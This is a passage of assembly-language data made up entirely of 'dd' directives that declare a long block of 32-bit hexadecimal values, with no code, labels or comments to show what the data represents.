1A3DA4E3h dd 0F6D1C998h, 809B7B00h, 69EE0FC4h, 95E80038h, 75CC254Eh dd 4400CDADh, 0C14CBABBh, 2977CAh, 0EFF8BEBFh, 19B96293h dd 0D39D1C00h, 0D08E028h, 3EED015Fh, 1BA68FB5h, 70D6DDADh dd 571F29D6h, 66C06CE7h, 90D90D07h, 198839DCh, 0C3FBCB07h dd 0D4A4C0FAh, 430FD37Fh, 60965EC4h, 9D384454h, 69D0007Bh dd 245A2375h, 6E09B4D2h, 326A299h, 0F8600135h, 3E0AF9Fh dd 29A5AA5Fh, 1E000F52h, 0A9F367A3h, 0B58951h, 95C5FC14h dd 5F322439h, 0A0ED2E00h, 0CBD30C17h, 3E7C008Ah, 0D2E34FBAh dd 0B70010C3h, 7EDFD715h, 8B91DBh, 219FB76h, 49D1FE3Fh dd 344CA5Ch, 202ED65Fh, 0C360E81Dh, 0F17800D9h, 59798725h dd 0B9393FABh, 0EDB58EEEh, 3ADFE1B1h, 51C435B6h, 6D94009Ch dd 0EC705BFFh, 98020626h, 7B8883B0h, 0AE43C01Fh, 342F005Ah dd 7C1D87D8h, 6D09F869h, 81CD074Dh, 9CB63B01h, 80D8F02Ah dd 0F9F37407h, 119CC855h, 8D71033Eh, 4C27A841h, 534E0E7h dd 0C1003C1Fh, 24435464h, 939CF47h, 779BDBBDh, 0B37B9C04h dd 654BC430h, 1CEB1CB0h, 0C012B020h, 4795C56h, 47002673h dd 0D44C8BFFh, 19804Dh, 0C03C2F9Ch, 8EA9557Eh, 3A4C2DFCh dd 7C94000Ch, 47FE6B77h, 0CE9D0465h, 80CFF8D7h, 0C6A2BDB0h dd 900CD207h, 0E0033B8h, 0BECF717h, 0B7878189h, 0AD445800h dd 3305F531h, 55A216FCh, 72B9E0Bh, 82D05146h, 7F1B496h dd 6A2F2E68h, 347180FFh, 0B172406Ch, 0D4D9BD06h, 3E0E03Dh dd 0F7CB0532h, 51B899C2h, 9200E8D3h, 277684EAh, 0B89542B7h dd 0B3530059h, 715F875Dh, 0B0012C0h, 0DB8E76B5h, 3FAE8031h dd 72BBB116h, 0B4F000CAh, 0ECFC15DDh, 52B07307h, 1F6351F8h dd 331003EFh, 7FEDD965h, 94C8BDC0h, 3962B301h, 2C68AC29h dd 6A8F9440h, 54FF1FC4h, 0B86B0088h, 5063803Ah, 0BEFBAA00h dd 0B6D4B0ABh, 0FD3B008Bh, 0DAC04A04h, 6090B4A2h, 4D82331Ch dd 9DCE44DDh, 0E60BDCh, 0FD9F366Dh, 8AB51EB7h, 3E650024h dd 1930ECBDh, 0E31CCE00h, 0C7ABA795h, 0FF4100B4h, 0DBBB9A91h dd 0E200DA43h, 0AEA51462h, 1BD1859h, 36B21599h, 70BFA9C3h dd 2D704C54h, 6832B00Ah, 1500B09Fh, 0A575E28Eh, 0A3C8C0B5h dd 0D159A735h, 0EE07F498h, 0C5642C2h, 0D92BC500h, 0B6C60050h dd 6C8334CAh, 6724FF48h, 179650F2h, 66B0D840h, 0A9B6BCh dd 8BA73CAEh, 8C9CC3BAh, 28A8BD5Dh, 4801A691h, 0E340EF5Dh dd 1882D0E5h, 0F3C57402h, 0D2EB7460h, 0D678FDE6h, 9EA44500h dd 920F9724h, 0C984A0CFh, 41950260h, 6976359Ch, 0D18158C0h dd 0A746C00h, 8DC02777h, 33A6582Fh, 0D2656E00h, 0E7101920h dd 0BA7F0A00h, 0D48AF27h, 0A522009Dh, 43DAF817h, 1B5C5E56h dd 2A2E000Dh, 7DF96150h, 0D012008Ch, 0CA32636Ch, 4D3D5C75h dd 3A4B00CBh, 0DBE454Eh, 20650098h, 28F81ADEh, 54764D53h dd 0BD00B8B2h, 2B46CE5Bh, 72ABAA12h, 0D397009Fh, 85800457h dd 100BFE9h, 5BB378EDh, 0C8F96Ch, 256BF36Ah, 0F03180E3h dd 0B8291D07h, 0D891D308h, 3C70FCA1h, 9E5E00ACh, 1DC74998h dd 0C050D4F5h, 0C600B390h, 184DAE91h, 995726Fh, 0DF1B30DBh dd 0D6C38280h, 0DA009CD0h, 43FC7712h, 2AC8BEEh, 4A113B26h dd 6F07E10Fh, 41DDD9F0h, 74724CB0h, 5A8ECB00h, 2AD43021h dd 0EB8D6C16h, 0F20F5900h, 17E7C505h, 3AA62A5h, 9255D176h dd 0B7D8F09Bh, 34B8E463h, 0B04B6C00h, 121D5106h, 75A72C4h dd 0D9C272A9h, 0F0F490C1h, 0F9A1042Fh, 0D1B5F4BBh, 7DE6900h dd 1ECE48A1h, 0AC0C0055h, 88D75236h, 0D90082FAh, 570638C2h dd 5627A7h, 4C0A37E0h, 514BAAA1h, 0FAB248h, 0C44D3BEAh dd 387AD631h, 5E81C5ACh, 82B6369Dh, 72B074F7h, 1C8A2D00h dd 0DF99F64Eh, 0F9681F74h, 0CB80C746h, 1BCE90D0h, 6000968Ch dd 2C32F7EEh, 0B87B9h, 0B8F2885Dh, 41CDD88Ah, 30AA3300h dd 0ED79EED9h, 0BDC4025Eh, 2035AC39h, 41A70C48h, 3B00257Ch dd 9E6A2BEAh, 0C8A0B82h, 0A810C798h, 0C0F47490h, 497ED503h dd 140BA515h, 2442ACA9h, 0C533A303h, 800BDB2h, 22375AB8h dd 0F532C8h, 1F7AD9D7h, 3C137507h, 9541B603h, 354DDDCh dd 1110B3D8h, 0D1B357BCh, 0C1EF5000h, 0C06BA17Ah, 10CB25Ah dd 1C109FB2h, 0BE6E4E49h, 3F770080h, 0CBD0867h, 8AC30166h dd 0F76D64F2h, 0DE1C4063h, 0A3036B4Dh, 3BB2C2ABh, 15B3A0AAh dd 0C925601Ah, 0F1B8C4D4h, 0B1EA3F01h, 6C95C07Ch, 8E27F0h dd 0D2485922h, 82583074h, 8600FB75h, 91819A2Ch, 46EFD5h dd 254C16BAh, 3C93C137h, 0FCC2CA60h, 139187A8h, 82B4BBh dd 955DE6D4h, 6830637Ah, 0EA9694ACh, 2575003Ch, 6FC6A099h dd 91000785h, 39879527h, 5806AEE5h, 1E00A223h, 6FFE16A3h dd 92004D71h, 981C6652h, 136C3AA6h, 6AFABD6h, 0D9C54131h dd 0E1040957h, 2032794Fh, 69D82800h, 0EB7E44DCh, 2B1E167Ch dd 52C7CF68h, 70C0C682h, 1FE5F89Bh, 7C9699Eh, 0C0C1B9E2h dd 4BD7461Ah, 12CD151h, 9EC843C0h, 3E1B651h, 83880295h dd 51D1290Ah, 6180C46Bh, 78E8BCA2h, 0D21B0E24h, 3B80A185h dd 4B77C3CEh, 61C9DB33h, 600CC541h, 58D7D1E3h, 1962871Eh dd 0A560D8CCh, 860522DFh, 2B3BB824h, 83F67020h, 0D1680728h dd 41F7C794h, 3BF5395Dh, 9BBDA0h, 69914412h, 0F69285CFh dd 0B6035AF4h, 0A50D20DFh, 1569756Ah, 4C0847D4h, 6B7EF583h dd 0C222B7A7h, 0A444EB0Ah, 74A89964h, 608BB340h, 0EF8871A2h dd 0A2830A6h, 0EA8A6338h, 0CE193D63h, 0E195AB6Ch, 7180F347h dd 460C231Ch, 0D21F2504h, 6042A57Ch, 838486DBh, 3D515D8h dd 0E5765328h, 39013647h, 0D767BF29h, 0C020A27Eh, 8AB66ACh dd 0EC00212Eh, 0AFFF67C7h, 1FC19A5Bh, 0C19D3864h, 0E351775Dh dd 0A5A0823Ah, 88C44CA2h, 0C540FCD8h, 3318529Eh, 0CC1837F7h dd 75D14FE0h, 7BF21D7h, 21EFE174h, 98F7227Bh, 0B6217E09h dd 0E01E3BE4h, 9FDA649Dh, 22074CEDh, 78105D70h, 165034CCh dd 6649258h, 0E55B6A5h, 3B0AE821h, 80A6728Bh, 1F367E00h dd 0FFD96Ah, 30199816h, 5A48BC4Bh, 12036671h, 88D34C01h dd 563CC020h, 9F860096h, 9582AAE1h, 0C800EC6Eh, 2E13C22Ch dd 7DED246Fh, 1DE8FC17h, 76D7460h, 70ACAEA3h, 0BECD568Fh dd 8B7DA400h, 0BF7320F3h, 0A6C8008Ch, 5250020Ah, 0C0007145h dd 0DD89CBD0h, 3058B51h, 1D4F01BCh, 49EE2965h, 0E4A63B05h dd 0D0C1AE41h, 0CEC479DBh, 85F03C5Ch, 0FFAFC280h, 0A63FBFC9h dd 3A4EDA00h, 7EF71196h, 3513EFEh, 0B3275480h, 0A908350Ah dd 3C325601h, 6AFF11E4h dd 0F0607880h, 2975D8BDh, 4265307h, 70CCA9BCh, 52A5004Ah dd 0FC15B4CEh, 5E303D56h, 5A8B986Ch, 332000C5h, 7D0E5D36h dd 85399DB8h, 0A469005Ch, 64C22304h, 8867300Bh, 0BC1E6030h dd 8E48C100h, 71E2F37Bh, 384273F0h, 0AD1E7ACBh, 26EA8040h dd 88D5BFB7h, 8BC6700Bh, 3A180738h, 81E527B2h, 2C2D6ACEh dd 0CBC075C6h, 0C40D40AEh, 187D237Fh, 0E2FAA81h, 0E35857ADh dd 8D675803h, 1CD34188h, 8A3848h, 1BB83B05h, 0D3F1F71h dd 2BF00B07h, 85D500C2h, 96EC30Bh, 0E8A04E6h, 0EB5F6601h dd 1A9BED8h, 0B7B0906Dh, 0A4C82DB3h, 57C7030Bh, 6F9583B9h dd 0C8CE8888h, 631B060h, 0E1DB12h, 82AC756Ch, 1E4B11F1h dd 16982200h, 85FDDE3Ch, 21E32857h, 5D680358h, 26B72005h dd 0E9A3D0E0h, 336C939h, 9F89D962h, 5483F104h, 941B30B8h dd 0F87B0845h, 3DDCAB00h, 0B784811Eh, 2A3401DFh, 20F09F91h dd 0EB2981C6h, 0D52C301Bh, 76C2E760h, 0DE332C1h, 49F0E11h dd 94142E06h, 0EBCD0010h, 33C3429Ah, 710FB935h, 60EA851Dh dd 0B2E170Ah, 0C76EE7Ch, 5D304ACDh, 22842128h, 9779D427h dd 8B3D4188h, 0C0B20A4h, 46E283F0h, 21334522h, 1701AE9h dd 0EF120EF2h, 0E152885h, 28D9053Ch, 964DF0DFh, 3127CF00h dd 79D6B2E2h, 934B00AFh, 51633255h, 0D9012AFAh, 0DA451154h dd 88E88B24h, 2269004Eh, 40365AB7h, 6B728490h, 0DBD4F300h dd 0E6D759B8h, 28BB09F9h, 15D9901h, 41B0F0Bh, 1AA9D0h dd 0DFEDD516h, 0E8F32F71h, 0A4405900h, 8D5A1C98h, 0BE2300F2h dd 0B6A64D27h, 57032064h, 0FCD76C2Ch, 5604A849h, 71DB0E0Fh dd 73E7C976h, 64238F44h, 0A6E80D8Bh, 0FA006603h, 2DECAEBh dd 61E3EB9h, 3578199Dh, 38001005h, 0F047D753h, 2461FD9Eh dd 8004E1B7h, 0EA2BFF78h, 53003525h, 3D067E0Ch, 0ED22037h dd 0D1103BE7h, 8FE2300h, 538CFB6h, 7A61822Bh, 0C073BA80h dd 902911F4h, 0A19C00D7h, 0CB65C370h, 6300D47Eh, 2AD95ABEh dd 0ED0A3B4h, 66918B72h, 4B3EB1C0h, 4E006B3Bh, 9C501077h dd 7B8F9B0h, 0D391DDC3h, 8808B059h, 0D736A1FEh, 0C250E1h dd 81F68632h, 9961FFBCh, 0B3F43500h, 33B8F0Fh, 583A05BAh dd 82E0D2A9h, 5C40BE37h, 0C6F08D82h, 7205FE01h, 84CF40DFh dd 73EFC4h, 4739AA7Dh, 0C7C66916h, 0ECA72A00h, 0C1197F13h dd 829F185Bh, 0FE812041h, 0B1FD6E02h, 0A0CD807Bh, 71188D0h dd 4E0409B5h, 36832455h, 9FB88F0Ah, 0C8005701h, 2A1DEDF0h dd 1D05F7Ah, 46DE5CB1h, 7015F3ADh, 6B1C0698h, 3D41DBC1h dd 0AEDABC3Ch, 0DC2000F3h, 0D7578A6Fh, 0BA0166A5h, 4FCFFC3Eh dd 8840639Ch, 0EA6BEBh, 0EF686DFEh, 8AD6C2A0h, 0F1DF6901h dd 0B5A30363h, 0D4393982h, 0DC80DBFBh, 0D8516450h, 70C53C00h dd 6D26218Ch, 16FCE5h, 0C47CBFE4h, 80F5B2EBh, 86B73B39h dd 63C61376h, 98C7120h, 0B388ABECh, 95BD9000h, 0F407D5E8h dd 2A31333Eh, 81C75292h, 0F8648ABCh, 0E4F7FFCCh, 84BC0006h dd 845EF74h, 3E00216Ah, 0C4A7D6D2h, 659687h, 0BB57755h dd 0F7F13523h, 4B945617h, 0D8FD4D00h, 3848262h, 2B226D99h dd 0C400B1B8h, 0C778CE6Bh, 79397707h, 475000F6h, 43128EBEh dd 2D009727h, 4C7A0463h, 9F6F516h, 6BE975FAh, 0A1B88C00h dd 4E0071CCh, 775FD474h, 78F2809h, 0E5061A9h, 6DDEA18Ch dd 0B420804Fh, 0FBDBEB3Ah, 0AD0300DCh, 0C6689F4h, 0F0008220h dd 61B715C6h, 7C4F5890h, 4CBF3050h, 6FF58C38h, 0F8DAD0Eh dd 0B2B34405h, 0AC94ACD0h, 2E2D124Ch, 0BE28418Ah, 0EC97065Fh dd 0B4000FA6h, 461ADB7h, 9603462h, 3EE732FFh, 79D84800h dd 3498D5AEh, 0F6F0EE00h, 678C975Fh, 23F70C4Fh, 0D2282224h dd 20980700h, 1FA1DEA6h, 36BC6BBFh, 0B6F99C0h, 0E1005F70h dd 0D156A093h, 6179681Fh, 0FAF95882h, 1EF1E090h, 0A83020F5h dd 9688C700h, 0AD99878h, 2B460072h, 0D2E05BE4h, 0C3009E09h dd 281417AAh, 0F03FA9h, 0BD3E16F3h, 0FC3D6EB6h, 74C8AB01h dd 5C83ECF7h, 0EA75420h, 0F316338Ah, 0E8ABC5C0h, 0EB001AFDh dd 0F4B2DA8Fh, 0B0B4C120h, 0AD550792h, 1CF280E7h, 3900D9CAh dd 8FEF8D17h, 0B5C15Eh, 7F106EE4h, 0ED6B5C5Dh, 47ECE900h dd 0F22401FAh, 0DDE309DFh, 0DC80B1BAh, 0B7A2EA1Bh, 4B10A900h dd 5B625D85h, 0F44900E9h, 2C3AE7D7h, 9E02F21Eh, 281CAE12h dd 0CCDA6067h, 2EE103E8h, 186EA74Fh, 223D2190h, 81EB6902h dd 0C0B05470h, 0B534BBh, 751E87E3h, 0B7D68EE0h, 62F8BA00h dd 0DD2259C3h, 3D3000DCh, 0BB4D199Eh, 26E08C3Eh, 0D55B1C00h dd 34B817DBh, 0D3420092h, 525A5029h, 85016A03h, 4B3393DEh dd 87D4C9F9h, 0BA9F0083h, 68B7FF95h, 0DA0E0934h, 0C050D9FAh dd 4BE105EDh, 5DBB006Eh, 0A4C7ECD4h, 0F813192Dh, 6000F51Bh dd 0FB525B7Eh, 0DA28078Bh, 71DF618Fh, 87F40602h, 0FD7B6360h dd 113AA6h, 7C89193Bh, 74F92C3Eh, 0B4458200h, 7A150208h dd 0CCAB0011h, 52EF42D1h, 8F7C5C91h, 0CDA9350Eh, 0CB252022h dd 6016EB20h, 907E98A6h, 1100DA07h, 388BCF3h, 7DBEB776h dd 0EA99FEE9h, 32AB07B8h, 0E0CC9C98h, 1F3D70E8h, 6B949E00h dd 0BF771758h, 0AFB022h, 9C90B633h, 307E596h, 1C671026h dd 0DA6CD400h, 267F9Dh, 88527ACFh, 7EEC513Fh, 0B1300E00h dd 0C872D6FEh, 0ADAF05D9h, 930BB0C0h, 15D85120h, 4909FDE5h dd 2D6FEAh, 0D6B768ACh, 63F20010h, 41C79E2h, 0FA025A66h dd 2601384Ah, 0D067E074h, 446F26C1h, 89B30038h, 0E18E27A5h dd 8B745D39h, 807898A7h, 12A670B0h, 563E1726h, 60B0A01h dd 64DD80E4h, 0CB825344h, 0A42A7A00h, 140A3BE6h, 3AA1009Bh dd 0A8B239FEh, 55008629h, 0DE7A0680h, 90B63681h, 17E70074h dd 2813BBF3h, 3498D670h, 33A7B75h, 638900BFh, 0D82B3AECh dd 0F4FB0B57h, 0AE00264Ch, 0AFDD725Ah, 7750B407h, 60B0719Bh dd 0CE96Dh, 2AED7BF1h, 5EB8EB75h, 1A8E6A00h, 0BBD58BDCh dd 30E900F8h, 52AFA076h, 0FB009287h, 6FE4293Ah, 7FA79B2Bh dd 55AA001Eh, 70146ED8h, 28000BECh, 0F1C505F7h, 0EF9D8Dh dd 1C373F56h, 8E7E584Ch, 47339802h, 6076E9B2h, 0CDF30Eh dd 0E137B19Ch, 3D98B466h, 0D6484C00h, 2AA72D71h, 260B0F9Eh dd 0DDE0FCBEh, 56D5A3C1h, 4806133Bh, 9C4E007Fh, 0D3CECA87h dd 0EEED0065h, 119E7E01h, 35E2E5FAh, 0E07F6600h, 0D938E72Ch dd 75BD1D8Eh, 9E130BECh, 0B5256300h, 9D0952F7h, 0C334F3h dd 0ACE0AE18h, 70B30017h, 3267209h, 0EF017A0Bh, 93ADDD54h dd 6ECC15CFh, 0C0E2D3h, 0C7A0A35Ah, 647BB6A7h, 0DA0EC470h dd 81B94F3Ah, 802B1CEDh, 2CCF7C60h, 406424D1h, 0D261491Eh dd 51C88C07h, 0A350405Fh, 0D6C17Ch, 0B904F3A4h, 9E027594h dd 6AAEA803h, 0B15ECB49h, 38304A39h, 985F5C6Ch, 7BC5B407h dd 0B0616737h, 0B572AA59h, 0DED1E200h, 0BC995D57h, 0A729149Ah dd 0D3009CDAh, 0CA11596Ch, 0AA00E152h, 25ED855Eh, 556A15h dd 278980FBh, 87BBE423h, 0D72B8800h, 0F13643C6h, 0BEDC01A1h dd 2981E07Ch, 0A4B0E873h, 0D83020Eh, 200720B3h, 27574Bh dd 7E16711Bh, 0A0BB238Fh, 0EABEC400h, 1F70F579h, 0D10F00B8h dd 53D2F7D9h, 0A400AC31h, 9BCA1C5Bh, 0E016E5Dh, 0F921C5D5h dd 0AADB5600h, 4F0113B7h, 0ED8B9E19h, 38705471h, 0A91F0647h dd 0D6E8A682h, 57BFA100h dd 5E86934Fh, 0C9250E61h, 0EF40384Bh, 32990D63h, 0CD41F3Ah dd 0B08D3C58h, 0E2222830h, 242900C2h, 0A0B31A5Bh, 2009B88h dd 85C72F53h, 8BD37Ch, 44031842h, 0D96E86B5h, 2DD8CC16h dd 0C9A4C000h, 7DF26EFh, 5BA87B34h, 7CAFB008h, 9D008FD0h dd 0B64C8765h, 3B5C24D5h, 21B7791Fh, 0CE1D50EEh, 0A300327Ah dd 0B8050C5h, 3E7552Bh, 545AF9D9h, 8800981Ch, 0DF7770F0h dd 1E30D15h, 0D07FEB3Dh, 0A459F791h, 0AE021820h, 0E09855A0h dd 54850h, 2621E41Dh, 7A610781h, 0C42F8205h, 8C010AEh dd 0B0E949ACh, 0F1CF00F0h, 0E305AB09h, 0DD007F03h, 1425D758h dd 7EE4C57Bh, 499F0F76h, 57CA94D4h, 8B4F01E4h, 20EEBE25h dd 2CF47234h, 32E0D616h, 0F6BD2CE0h, 53E81CF4h, 5A079834h dd 32787D15h, 1D78EC00h, 9C385C1h, 3AF807C8h, 1B703B7Bh dd 0BAFA0507h, 0C90200A0h, 1681C032h, 0D8049700h, 0FBF1F726h dd 69BC3075h, 0C9241E68h, 25DC9F07h, 56A09766h, 649189Ch dd 9865F3EDh, 0C9751041h, 228F7501h, 0C67B195Eh, 1A458FEh dd 69F7FC42h, 288BE33Eh, 27AA0318h, 54730Bh, 0EF196A11h dd 4C5877EEh, 3C701D07h, 5C105BE7h, 3061FDCEh, 0F151D3DBh dd 5E07ACB7h, 6A1D4162h, 65421100h, 80FE4AF6h, 30902F93h dd 4972FB60h, 6453366Fh, 0D00D52ACh, 93ED065Ch, 0F458C206h dd 0FE282269h, 94100023h, 99B4D04Bh, 8801C5F8h, 0F9182824h dd 84CC5D30h, 0D75E01D1h, 0AE2CB378h, 84E0DEE1h, 21E88FE3h dd 0A79E1400h, 0F8CA76D5h, 0D90B18FFh, 1940FE46h, 2226A00h dd 60D4EC4Fh, 54490083h, 5FCDD138h, 0E01AECAh, 0FA727166h dd 6CE4B342h, 0E2D701D0h, 1A732513h, 30B8F94Bh, 7002AA4h dd 171F6B9Bh, 5DDE6FAh, 0E4CE14A7h, 5EEC03A9h, 0BE007672h dd 0F586B667h, 2A55D4h, 189E95C3h, 0CE16F470h, 7B045DF6h dd 0BFE76242h, 984BA4C0h, 3CD90051h, 0C29B92A9h, 0BD000FCFh dd 326C28F6h, 17FD2E5h, 0AA47468Ah, 40787B02h, 0CEA5FDC8h dd 9200209Eh, 0B47AE3DDh, 7043030Eh, 0E1785C05h, 0CEB0809Dh dd 14B8364Ah, 5A2EB273h, 88802A0Dh, 0DD1DE4D5h, 9D6E00C7h dd 0D702BAFBh, 4000FE16h, 49A8C473h, 0F4708391h, 90FC7FF8h dd 54BD5C08h, 2E019B3Ah, 9D36C612h, 0B459E818h, 63B4200h dd 0F7820B6Ah, 0D8A44839h, 0DA3A5500h, 62FCC736h, 85B8C000h dd 0B59F69CFh, 0C6A113D4h, 0C0641E2Ah, 0CB73A9E7h, 28968D25h dd 897CD00h, 662D01h, 0E0DDE86Eh, 82FEF396h, 0BB263F0Eh dd 0A978224Fh, 0E97CE1F1h, 14FDB3F8h, 80C27FFFh, 97EE0E07h dd 1E02109Eh, 0F5008A0Ah, 0DE060F2Fh, 394B89h, 44551035h dd 4F76CF48h, 305A8A26h, 89C7BF1Eh, 106C3B2Ah, 0B83D37F2h dd 4D3A21BAh, 742980F0h, 29E99D28h, 26A50003h, 0D0BC7DB4h dd 78008BC8h, 0E722A615h, 0C1662E1h, 0AF4F01EBh, 5540C368h dd 0C12C0558h, 0A01545CCh, 4E003670h, 931C12C8h, 4CEC29Eh dd 2C5381E9h, 0D018E191h, 0AA0021B2h, 0C3F33D36h, 70323D6h dd 0DF6F48CAh, 224D70E6h, 90001EAAh, 0BAA1DD16h, 26F7A6C4h dd 9843FAh, 94658B77h, 98C3AD82h, 167F142h, 0BCC31580h dd 0FC6D2B29h, 36B05C19h, 4E3E971Eh, 5A0EF53Fh, 1426276h dd 7E983B55h, 0FEE771E0h, 19F109A0h, 0D40006E4h, 0F8C03EE0h dd 37455000h, 0B0CD3868h, 4821487Eh, 3DDCFB00h, 0A4958633h dd 1956B830h, 3B0A3D5h, 4EC2AABEh, 60CF0307h, 0FAC3B471h dd 0AEA127h, 0FD336C28h, 39683C26h, 13717880h, 0CD7EB685h dd 0BA4A6EFCh, 7F007416h, 815E3C0Fh, 9FBD7AC8h, 4F0014D0h dd 0DEC491FAh, 90EA75AFh, 8B6800D2h, 3F83C88h, 8E00D26Dh dd 5E930555h, 0A25ABC5h, 0D494921Ah, 2BCC0994h, 3DD88C40h dd 0B5E3500h, 0A75763BAh, 0F282661h, 0C5F7004Dh, 0A6DA1DD8h dd 550E87F4h, 0C09503B4h, 79E25EC3h, 670A013Dh, 295236EBh dd 328160A6h, 10B88027h, 7E99308h, 4FB37D94h, 84736722h dd 0C0F4CAFDh, 5DC723D8h, 0F05000Eh, 0C57F37F8h, 0F5011781h dd 6E521E78h, 0D08066CAh, 0BA57D890h, 3E002295h, 0BE68720Bh dd 5A86A463h, 9ED5804Bh, 0E0980214h, 12C28C3Ah, 0BC009864h dd 41B962CBh, 0FD1E3C8Eh, 4536C400h, 4BDC7629h, 0BB85E003h dd 0DBAD2B3Fh, 1378A8BCh, 0E5BD00F2h, 27A8B4FCh, 9C726340h dd 0CFDCE850h, 0B1C30400h, 0A105F0BFh, 4D9000EAh, 1F5DF575h dd 0B000D691h, 0D1ECA525h, 0F7857D0h, 6DEF7A40h, 4809C0DDh dd 0A62AD473h, 5C776B24h, 0DC37D900h, 0FB3DD5h, 0AF7BF5B6h dd 81676601h, 3FD12400h, 4794D091h, 298A0092h, 3A46AEFBh dd 3D0E6032h, 0A03F6555h, 122C042Bh, 96C10091h, 668E081Bh dd 6F5E023Ch, 0ED0D5000h, 4DAA6Ch, 1B16435Eh, 544FEA8Dh dd 4B316400h, 9D389A2Bh, 7897AEEh, 8AC5E2F0h, 52F7E0ABh dd 28006A7Dh, 4F399FB5h, 26F8674Bh, 3A902415h, 0AC79A700h dd 0B3E9EF87h, 59DA462Eh, 860B616h, 0BD7222h, 4B83355Ah dd 0E24F9EFBh, 9B1D0FB0h, 6400E57Dh, 6259EEEDh, 2AD6004Bh dd 9AA3F650h, 9200D409h, 0FDDD0D9h, 37003C7h, 5201F97Eh dd 308705DFh, 0F18C1821h, 982B480Bh, 1CF500E5h, 0F3C9Ah dd 92AE5628h, 0D906A84Ah, 9C613602h, 0E859ACA5h, 18215C0h dd 0F3C45E4Bh, 0DC35BDD2h, 540040E9h, 0B42494B2h, 3E579Eh dd 4C3CEDE4h, 0CEE5DB99h, 89D44424h, 650B003h, 0FC9CDB0Ah dd 7F3C5480h, 39FE0038h, 331BC2C4h, 0B91FF0C3h, 0D19FBC74h dd 7E405044h, 6771ACD0h, 0EE532763h, 423AA880h, 0B4000AC4h dd 0D7DA0795h, 0FD848Fh, 0B8EC750Dh, 0BCFA8DC9h, 0DB002BECh dd 0F35C7BD0h, 8C81A0h, 5B3C4DADh, 60A50548h, 0D30F14A0h dd 0AA07F05h, 0DB8086C9h, 0F3D276Ch, 0C3AC7287h, 31144352h dd 9BF07A05h, 0C2189122h, 13186277h, 0CD590C29h, 991187C1h dd 33385E00h, 91E60E01h, 0C7FF0FA9h, 3503170Ah, 0B9EB8CE1h dd 46D5E003h, 0C35421FBh, 39BED9E6h, 9C363980h, 0F959418Dh dd 0A29E6000h, 3E7D4C44h, 5A253C58h, 7065DA00h, 0E65591A9h dd 0A9B1FE30h, 0B59D11Dh, 5AC13264h, 1A3FC0E8h, 2476EA00h dd 5BBC70C2h, 59150025h, 0C1E7CBE5h, 0E400F9F2h, 45CF89DFh dd 3FB86Fh, 4F4B079Eh, 0BFC00CD1h, 5800C8FAh, 7D14F489h dd 1C9899F0h, 0C077F361h, 0A9C16D15h, 0D3005C46h, 0E72E855Bh dd 2E1DC35Dh, 858607h, 0C0065E6Ah, 0BC0063D4h, 0D56B4991h dd 0EAA32B44h, 69D60014h, 0E2A42A0Dh, 230721EFh, 18C4CF6Fh dd 16EC94Ch, 5B173012h, 20D654C3h, 28C5FEFAh, 8000B0C5h dd 1D879DA7h, 0E5B0A8B8h, 91C20054h, 7921C347h, 8C95B3Eh dd 0AC546009h, 2A5FA9Ch, 0B7E0192Dh, 74542A5Ch, 0BBE22583h dd 8460002Bh, 5F6382B6h, 0E0220E2Ah, 0CF3A1EDh, 0E2EA3180h dd 589C9013h, 0FAB0F8C7h, 0FC17FB10h, 0D814E6B3h, 1270A8B8h dd 10DDEC30h, 1DCD69h, 474E9CE9h, 0F6E5B6D4h, 8C2B7100h dd 0B338E746h, 13587C8Bh, 128BFCEh, 0AA94F11Ah, 26B34095h dd 0E70038DBh, 59178CD3h, 39632166h, 0ED0EAC62h, 9B61453Eh dd 0F838E502h, 0E3006144h, 7D09EB52h, 142756h, 3E063CB7h dd 0B8A95A9h, 99541000h, 8C767133h, 9AD0017Bh, 6521DA4Ah dd 0A2E0F031h, 7170EA00h, 5D266245h, 0A1D00049h, 2414C38Bh dd 0A3E0F24Ah, 0E8328700h, 0A8518C77h, 1E2101E7h, 0A7CB2A27h dd 7C8A6094h, 0F300AEF0h dd 0AB4460DCh, 145DE3Ah, 4C8BD935h, 0F0BCD7CFh, 0E20061CDh dd 5A65DCD3h, 0BDCC4Dh, 72DB7391h, 4EB96641h, 490030F2h dd 6FFB6267h, 1205DAh, 7375C189h, 7E014088h, 0E2643301h dd 91BB5AB9h, 586BBD70h, 3100DC1Ch, 304BA773h, 8C00F7EEh dd 0C34CF9C7h, 0A0C0DFEDh, 0F8DE27ACh, 0CA3800BAh, 51C726B2h dd 18D111FEh, 0B8187410h, 3610B139h, 0FF72009Bh, 45D4856Dh dd 0AF0010DBh, 19C4D1F6h, 3FA1FB8h, 0CB0B923Fh, 2870FC8Ch dd 4A181084h, 0C6B21C5h, 2C517180h, 44453844h, 7208730h dd 70FB323Eh, 4113829h, 57322FAh, 9077A82Eh, 44768824h dd 6680214Fh, 2910D012h, 1BA1CA62h, 0D4460814h, 0BA39FC88h dd 6B711C2h, 21780411h, 767A0808h, 828E394h, 11FE7CE0h dd 0D97828F4h, 9082DC00h, 1B3FA03Ah, 5CC86318h, 0E0E8136Fh dd 7003FCA9h, 32FAD21Ch, 4169983Dh, 0FF62Ah, 0B7FDB5C4h dd 0F916A58Ch, 333ED000h, 451950B2h, 35AB00D4h, 0CFDB86BCh dd 657EE0FAh, 80A8603Eh, 58959159h, 308A32h, 19CC8C5Dh dd 0C850E4BEh, 0DA370100h, 0F07B533h, 0BD1E01BBh, 1095CD38h dd 1306D8D9h, 2C03A01Dh, 0F57E35C0h, 2C4E12BAh, 2A76DEC0h dd 0CFC41D20h, 3183477Fh, 8B7A9054h, 0F0EF4B32h, 9300DCCEh dd 1CBED989h, 0FC254Dh, 0D7618F88h, 71BB1FC9h, 6503F6Bh dd 30500777h, 4AD08ADAh, 21B88337h, 75AE6800h, 5A12F238h dd 0CFD000BFh, 0BAD4067Dh, 0B8002BEDh, 3BB09B88h, 7684F6h dd 2A66E85Dh, 0AB86AE22h, 0DBB05B5Fh, 9869339Bh, 53A81710h dd 0E7005A48h, 47749228h, 4ECEEDh, 90ECD8BCh, 3CCD515h dd 0E7446E00h, 5EB97610h, 0E289248Eh, 0C86B0351h, 34F02920h dd 4D75108Bh, 0E091521Dh, 3BE227C0h, 384FAE5h, 0EC90285Fh dd 21B0FEE9h, 58032C69h, 37E7593Ah, 53C6C0B5h, 8FDA0362h dd 0E18AAC3Dh, 0D3AFA8D0h, 322AE400h, 0CA233FE5h, 0C3F61497h dd 0CF00CF61h, 93178D79h, 0B20066E0h, 168B4B12h, 21359h dd 842106CEh, 0FFBCF490h, 40D76B03h, 0D07CEA77h, 0DD8FFDh dd 0A7FEDB8Eh, 0BFA4B408h, 10D55000h, 76ADF943h, 89C00060h dd 0B4683A74h, 9009533h, 2BD57EC6h, 13E76Bh, 0E626547Dh dd 0FF1A92ECh, 